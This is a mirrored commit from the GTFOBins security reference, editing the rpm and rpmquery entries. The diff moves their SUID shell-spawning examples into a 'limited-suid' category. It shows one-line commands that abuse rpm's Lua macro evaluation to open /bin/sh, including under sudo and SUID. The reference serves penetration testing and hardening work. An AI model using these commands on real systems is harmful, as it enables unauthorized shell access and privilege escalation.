mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 06:19:27 +01:00
Fix rpm[query] SUID
This commit is contained in:
parent
33fb39a183
commit
bb4050810e
@ -2,8 +2,8 @@
|
||||
functions:
|
||||
shell:
|
||||
- code: rpm --eval '%{lua:os.execute("/bin/sh")}'
|
||||
suid:
|
||||
- code: ./rpm --eval '%{lua:os.execute("/bin/sh", "-p")}'
|
||||
limited-suid:
|
||||
- code: ./rpm --eval '%{lua:os.execute("/bin/sh")}'
|
||||
sudo:
|
||||
- code: sudo rpm --eval '%{lua:os.execute("/bin/sh")}'
|
||||
- description: |
|
||||
|
@ -2,8 +2,8 @@
|
||||
functions:
|
||||
shell:
|
||||
- code: rpmquery --eval '%{lua:posix.exec("/bin/sh")}'
|
||||
suid:
|
||||
- code: ./rpmquery --eval '%{lua:posix.exec("/bin/sh", "-p")}'
|
||||
limited-suid:
|
||||
- code: ./rpmquery --eval '%{lua:os.execute("/bin/sh")}'
|
||||
sudo:
|
||||
- code: sudo rpmquery --eval '%{lua:posix.exec("/bin/sh")}'
|
||||
---
|
||||
|
Loading…
Reference in New Issue
Block a user